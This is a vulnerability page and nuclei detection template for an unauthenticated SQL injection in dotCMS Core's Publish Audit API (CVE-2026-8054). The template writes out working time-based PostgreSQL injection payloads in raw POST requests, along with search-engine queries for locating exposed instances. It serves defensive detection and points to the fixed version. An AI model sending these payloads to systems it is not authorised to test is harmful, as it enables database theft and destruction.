dotCMS Core Publish Audit API - Unauthenticated SQL Injection

criticalseverity

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

dotCMS Core 25.11.04-1 through 26.04.28-02 contains an SQL injection caused by unsanitized input in Publish Audit API endpoints (/api/auditPublishing/get and /api/auditPublishing/getAll), letting remote unauthenticated attackers read, modify, or destroy arbitrary database content, exploit requires no authentication.

Impact

Remote attackers can read, modify, or destroy arbitrary database content, potentially compromising the entire database.

Fix

Upgrade to dotCMS Core 26.04.28-03 or later.

How to confirm it

Send: POST /api/auditPublishing/getAll
Positive when: status_code == 200 and contains(content_type, 'application/json') and contains(body, '[]')
Send: @timeout: 15s
Positive when: duration>=5 and status_code == 200 and contains(content_type, 'application/json') and contains(body, '[]')

Run it with nuclei: nuclei -id CVE-2026-8054 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-8054

info:
  name: dotCMS Core Publish Audit API - Unauthenticated SQL Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    dotCMS Core 25.11.04-1 through 26.04.28-02 contains an SQL injection caused by unsanitized input in Publish Audit API endpoints (/api/auditPublishing/get and /api/auditPublishing/getAll), letting remote unauthenticated attackers read, modify, or destroy arbitrary database content, exploit requires no authentication.
  impact: |
    Remote attackers can read, modify, or destroy arbitrary database content, potentially compromising the entire database.
  remediation: |
    Upgrade to dotCMS Core 26.04.28-03 or later.
  reference:
    - https://github.com/advisories/GHSA-jpx3-25r2-jq5g
    - https://github.com/dotCMS/core/pull/35553
    - https://dev.dotcms.com/docs/known-security-issues?issueNumber=SI-75
  metadata:
    max-request: 2
    vendor: dotcms
    product: dotcms
    shodan-query: http.title:"dotcms"
    fofa-query: title="dotcms"
    google-query: intitle:"dotcms"
  tags: cve,cve2026,dotcms,sqli,unauth,time-based,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/auditPublishing/getAll HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        ["x' || (SELECT CASE WHEN 1=2 THEN pg_sleep(0)::text ELSE '' END) || '"]

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'application/json')"
          - "contains(body, '[]')"
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 15s
        POST /api/auditPublishing/getAll HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        ["x' || (SELECT CASE WHEN 1=1 THEN pg_sleep(5)::text ELSE '' END) || '"]

    matchers:
      - type: dsl
        dsl:
          - "duration>=5"
          - "status_code == 200"
          - "contains(content_type, 'application/json')"
          - "contains(body, '[]')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from